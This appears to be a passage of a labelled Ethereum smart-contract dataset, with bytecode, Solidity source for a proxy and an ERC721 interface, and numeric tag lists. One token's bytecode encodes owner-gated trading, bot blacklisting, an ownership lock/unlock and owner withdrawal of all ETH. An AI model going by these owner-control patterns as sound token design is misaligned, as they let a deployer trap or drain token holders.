111561128d5760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c79006044820152606401610aac565b816112ac57600061129d846121e0565b50939550610bf8945050505050565b60006112b7846121e0565b50929550610bf8945050505050565b6000546001600160a01b031633146112f05760405162461bcd60e51b8152600401610aac9061313f565b601455565b6000546001600160a01b0316331461131f5760405162461bcd60e51b8152600401610aac9061313f565b600e546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015611358573d6000803e3d6000fd5b50565b6000546001600160a01b031633146113855760405162461bcd60e51b8152600401610aac9061313f565b6001600160a01b03811660009081526007602052604090205460ff16156113ee5760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610aac565b6001600160a01b03811660009081526003602052604090205415611448576001600160a01b03811660009081526003602052604090205461142e90610d62565b6001600160a01b0382166000908152600460205260409020555b6001600160a01b03166000818152600760205260408120805460ff191660019081179091556008805491820181559091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319169091179055565b6000546001600160a01b031633146114d85760405162461bcd60e51b8152600401610aac9061313f565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03811660009081526007602052604081205460ff161561153757506001600160a01b031660009081526004602052604090205490565b6001600160a01b038216600090815260036020526040902054610bf890610d62565b6000546001600160a01b031633146115835760405162461bcd60e51b8152600401610aac9061313f565b600080546040516001600160a01b0390911690600080516020613397833981519152908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146115e55760405162461bcd60e51b8152600401610aac9061313f565b6040516001600160a01b038216904780156108fc02916000818181858888f19350505050158015610f99573d6000803e3d6000fd5b6000546001600160a01b031633146116445760405162461bcd60e51b8152600401610aac9061313f565b61164c612271565b611664338361165f84633b9aca006131c5565b611d83565b610f99601354601255601654601555565b6000546001600160a01b0316331461169f5760405162461bcd60e51b8152600401610aac9061313f565b601555565b606060108054610b6490613174565b6000610bf43384610c58856040518060600160405280602581526020016133b7602591393360009081526005602090815260408083206001600160a01b038d16845290915290205491906120e2565b6000546001600160a01b0316331461172c5760405162461bcd60e51b8152600401610aac9061313f565b600a805461ff001916610100179055565b6001546001600160a01b031633146117a35760405162461bcd60e51b815260206004820152602360248201527f596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6044820152626f636b60e81b6064820152608401610aac565b60025442116117f45760405162461bcd60e51b815260206004820152601f60248201527f436f6e7472616374206973206c6f636b656420756e74696c20372064617973006044820152606401610aac565b600154600080546040516001600160a01b03938416939091169160008051602061339783398151915291a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b6000610bf4338484611d83565b6000546001600160a01b0316331461187a5760405162461bcd60e51b8152600401610aac9061313f565b61189b6103e861189583600b5461229f90919063ffffffff16565b9061213f565b601a5550565b6000546001600160a01b031633146118cb5760405162461bcd60e51b8152600401610aac9061313f565b601780548215156101000261ff00199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061191490831515815260200190565b60405180910390a150565b6000546001600160a01b031633146119495760405162461bcd60e51b8152600401610aac9061313f565b600083821461199a5760405162461bcd60e51b815260206004820152601760248201527f6d757374206265207468652073616d65206c656e6774680000000000000000006044820152606401610aac565b83811015611a0b576119f98585838181106119b7576119b76131e4565b90506020020160208101906119cc9190612f06565b8484848181106119de576119de6131e4565b90506020020135633b9aca006119f491906131c5565b61231e565b611a04600182613278565b905061199a565b5050505050565b6000546001600160a01b03163314611a3c5760405162461bcd60e51b8152600401610aac9061313f565b60008054600180546001600160a01b03199081166001600160a01b03841617909155169055611a6b8142613278565b600255600080546040516001600160a01b0390911690600080516020613397833981519152908390a350565b6000546001600160a01b03163314611ac15760405162461bcd60e51b8152600401610aac9061313f565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b03163314611b0c5760405162461bcd60e51b8152600401610aac9061313f565b6216e3608111611b735760405162461bcd60e51b815260206004820152602c60248201527f4d617820547820416d6f756e742063616e6e6f74206265206c6573732074686160448201526b37101b1c9026b4b63634b7b760a11b6064820152608401610aac565b611b8181633b9aca006131c5565b60185550565b6000546001600160a01b03163314611bb15760405162461bcd60e51b8152600401610aac9061313f565b6001600160a01b038116611c165760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610aac565b600080546040516001600160a01b038085169392169160008051602061339783398151915291a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316611cc15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610aac565b6001600160a01b038216611d225760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610aac565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316611de75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610aac565b6001600160a01b038216611e495760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610aac565b60008111611eab5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610aac565b6000546001600160a01b03848116911614801590611ed757506000546001600160a01b03838116911614155b15611f3f57601854811115611f3f5760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610aac565b6000611f4a306114fa565b90506018548110611f5a57506018545b60195481108015908190611f71575060175460ff16155b8015611faf57507f000000000000000000000000ade15b2fe7904d8645845c9dd8036a7526600a6d6001600160a01b0316856001600160a01b031614155b8015611fc25750601754610100900460ff165b15611fd5576019549150611fd582612331565b6001600160a01b03851660009081526006602052604090205460019060ff168061201757506001600160a01b03851660009081526006602052604090205460ff165b15612020575060005b80156120ce577f000000000000000000000000ade15b2fe7904d8645845c9dd8036a7526600a6d6001600160a01b0316856001600160a01b0316146120ce57601a5461206b866114fa565b6120759086613278565b11156120ce5760405162461bcd60e51b815260206004820152602260248201527f526563697069656e742065786365656473206d61782077616c6c65742073697a604482015261329760f11b6064820152608401610aac565b6120da86868684612434565b505050505050565b600081848411156121065760405162461bcd60e51b8152600401610aac9190612f3c565b50600061211384866131fa565b95945050505050565b6000806000612129612670565b9092509050612138828261213f565b9250505090565b6000610ddf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506127f2565b60008061218e8385613278565b905083811015610ddf5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610aac565b60008060008060008060008060006121f78a612820565b92509250925060008060006122158d868661221061211c565b612862565b919f909e50909c50959a5093985091965092945050505050565b6000610ddf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120e2565b6012541580156122815750601554155b1561228857565b601280546013556015805460165560009182905555565b6000826122ae57506000610bf8565b60006122ba83856131c5565b9050826122c78583613290565b14610ddf5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610aac565b612326612271565b611664338383611d83565b6017805460ff19166001179055600061234b82600261213f565b90506000612359838361222f565b905047612365836128b2565b6000612371478361222f565b9050600061238f60646118956014548561229f90919063ffffffff16565b600e546040519192506001600160a01b03169082156108fc029083906000818181858888f193505050501580156123ca573d6000803e3d6000fd5b506123d581836131fa565b91506123e18483612a79565b60408051868152602081018490529081018590527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619060600160405180910390a150506017805460ff1916905550505050565b600a54610100900460ff1661245d576000546001600160a01b0385811691161461245d57600080fd5b6001600160a01b03841660009081526009602052604090205460ff168061249c57506001600160a01b03831660009081526009602052604090205460ff165b156124f357600a5460ff166124f35760405162461bcd60e51b815260206004820152601b60248201527f626f7473206172656e7420616c6c6f77656420746f20747261646500000000006044820152606401610aac565b8061250057612500612271565b6001600160a01b03841660009081526007602052604090205460ff16801561254157506001600160a01b03831660009081526007602052604090205460ff16155b1561255657612551848484612b87565b612654565b6001600160a01b03841660009081526007602052604090205460ff1615801561259757506001600160a01b03831660009081526007602052604090205460ff165b156125a757612551848484612cad565b6001600160a01b03841660009081526007602052604090205460ff161580156125e957506001600160a01b03831660009081526007602052604090205460ff16155b156125f957612551848484612d56565b6001600160a01b03841660009081526007602052604090205460ff16801561263957506001600160a01b03831660009081526007602052604090205460ff165b1561264957612551848484612d9a565b612654848484612d56565b8061266a5761266a601354601255601654601555565b50505050565b600c54600b546000918291825b6008548110156127c25782600360006008848154811061269f5761269f6131e4565b60009182526020808320909101546001600160a01b03168352820192909252604001902054118061270a57508160046000600884815481106126e3576126e36131e4565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b1561272057600c54600b54945094505050509091565b612766600360006008848154811061273a5761273a6131e4565b60009182526020808320909101546001600160a01b03168352820192909252604001902054849061222f565b92506127ae6004600060088481548110612782576127826131e4565b60009182526020808320909101546001600160a01b03168352820192909252604001902054839061222f565b9150806127ba81613227565b91505061267d565b50600b54600c546127d29161213f565b8210156127e957600c54600b549350935050509091565b90939092509050565b600081836128135760405162461bcd60e51b8152600401610aac9190612f3c565b5060006121138486613290565b60008060008061282f85612e0d565b9050600061283c86612e29565b905060006128548261284e898661222f565b9061222f565b979296509094509092505050565b6000808080612871888661229f565b9050600061287f888761229f565b9050600061288d888861229f565b9050600061289f8261284e868661222f565b939b939a50919850919650505050505050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106128e7576128e76131e4565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561296057600080fd5b505afa158015612974573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061299891906132b2565b816001815181106129ab576129ab6131e4565b60200260200101906001600160a01b031690816001600160a01b0316815250506129f6307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611c5f565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790612a4b9085906000908690309042906004016132cf565b600060405180830381600087803b158015612a6557600080fd5b505af11580156120da573d6000803e3d6000fd5b612aa4307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611c5f565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663f305d719823085600080612aeb6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015612b4e57600080fd5b505af1158015612b62573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611a0b9190613340565b600080600080600080612b99876121e0565b6001600160a01b038f16600090815260046020526040902054959b50939950919750955093509150612bcb908861222f565b6001600160a01b038a16600090815260046020908152604080832093909355600390522054612bfa908761222f565b6001600160a01b03808b1660009081526003602052604080822093909355908a1681522054612c299086612181565b6001600160a01b038916600090815260036020526040902055612c4b81612e45565b612c558483612ecd565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612c9a91815260200190565b60405180910390a3505050505050505050565b600080600080600080612cbf876121e0565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150612cf1908761222f565b6001600160a01b03808b16600090815260036020908152604080832094909455918b16815260049091522054612d279084612181565b6001600160a01b038916600090815260046020908152604080832093909355600390522054612c299086612181565b600080600080600080612d68876121e0565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150612bfa908761222f565b600080600080600080612dac876121e0565b6001600160a01b038f16600090815260046020526040902054959b50939950919750955093509150612dde908861222f565b6001600160a01b038a16600090815260046020908152604080832093909355600390522054612cf1908761222f565b6000610bf860646118956012548561229f90919063ffffffff16565b6000610bf860646118956015548561229f90919063ffffffff16565b6000612e4f61211c565b90506000612e5d838361229f565b30600090815260036020526040902054909150612e7a9082612181565b3060009081526003602090815260408083209390935560079052205460ff16156110fc5730600090815260046020526040902054612eb89084612181565b30600090815260046020526040902055505050565b600c54612eda908361222f565b600c55600d54612eea9082612181565b600d555050565b6001600160a01b038116811461135857600080fd5b600060208284031215612f1857600080fd5b8135610ddf81612ef1565b600060208284031215612f3557600080fd5b5035919050565b600060208083528351808285015260005b81811015612f6957858101830151858201604001528201612f4d565b81811115612f7b576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215612fa457600080fd5b8235612faf81612ef1565b946020939093013593505050565b600080600060608486031215612fd257600080fd5b8335612fdd81612ef1565b92506020840135612fed81612ef1565b929592945050506040919091013590565b6000806040838503121561301157600080fd5b823561301c81612ef1565b9150602083013561302c81612ef1565b809150509250929050565b801515811461135857600080fd5b6000806040838503121561305857600080fd5b82359150602083013561302c81613037565b60006020828403121561307c57600080fd5b8135610ddf81613037565b60008083601f84011261309957600080fd5b50813567ffffffffffffffff8111156130b157600080fd5b6020830191508360208260051b85010111156130cc57600080fd5b9250929050565b600080600080604085870312156130e957600080fd5b843567ffffffffffffffff8082111561310157600080fd5b61310d88838901613087565b9096509450602087013591508082111561312657600080fd5b5061313387828801613087565b95989497509550505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c9082168061318857607f821691505b602082108114156131a957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008160001904831182151516156131df576131df6131af565b500290565b634e487b7160e01b600052603260045260246000fd5b60008282101561320c5761320c6131af565b500390565b634e487b7160e01b600052603160045260246000fd5b600060001982141561323b5761323b6131af565b5060010190565b60006020828403121561325457600080fd5b5051919050565b60006020828403121561326d57600080fd5b8151610ddf81613037565b6000821982111561328b5761328b6131af565b500190565b6000826132ad57634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156132c457600080fd5b8151610ddf81612ef1565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561331f5784516001600160a01b0316835293830193918301916001016132fa565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561335557600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63658be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e045524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220176a374f6e68a8cc1d02a526ddd731fa69c792bd3ea3cce76989dc2ff2db313664736f6c63430008090033 | [
13,
16,
5
] |
0xf343eb46b83d1bb7d208ae055e91da0283eee27c | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
contract InvisiblePets {
bytes32 internal constant KEY = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
constructor(bytes memory _a, bytes memory _data) payable {
(address _as) = abi.decode(_a, (address));
assert(KEY == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
require(Address.isContract(_as), "Address Errors .");
StorageSlot.getAddressSlot(KEY).value = _as;
if (_data.length > 0) {
Address.functionDelegateCall(_as, _data);
}
}
function _g(address to) internal virtual {
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), to, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
function _fallback() internal virtual {
_beforeFallback();
_g(StorageSlot.getAddressSlot(KEY).value);
}
fallback() external payable virtual {
_fallback();
}
receive() external payable virtual {
_fallback();
}
function _beforeFallback() internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | 0x60806040523661001357610011610017565b005b6100115b61004a7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b0316610081565b565b3b151590565b90565b606061007a8383604051806060016040528060278152602001610237602791396100a5565b9392505050565b3660008037600080366000845af43d6000803e8080156100a0573d6000f35b3d6000fd5b6060833b6101095760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b03168560405161012491906101b7565b600060405180830381855af49150503d806000811461015f576040519150601f19603f3d011682016040523d82523d6000602084013e610164565b606091505b509150915061017482828661017e565b9695505050505050565b6060831561018d57508161007a565b82511561019d5782518084602001fd5b8160405162461bcd60e51b815260040161010091906101d3565b600082516101c9818460208701610206565b9190910192915050565b60208152600082518060208401526101f2816040850160208701610206565b601f01601f19169190910160400192915050565b60005b83811015610221578181015183820152602001610209565b83811115610230576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212206ee8406d2f181edd824db1504b0248a30ded4f29d547dc13e68a2ce4bd83991b64736f6c63430008070033 | [
5
] |
0xf3442186b92f9e20b04d675d8efadaa6a81893a1 | pragma solidity 0.8.6;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
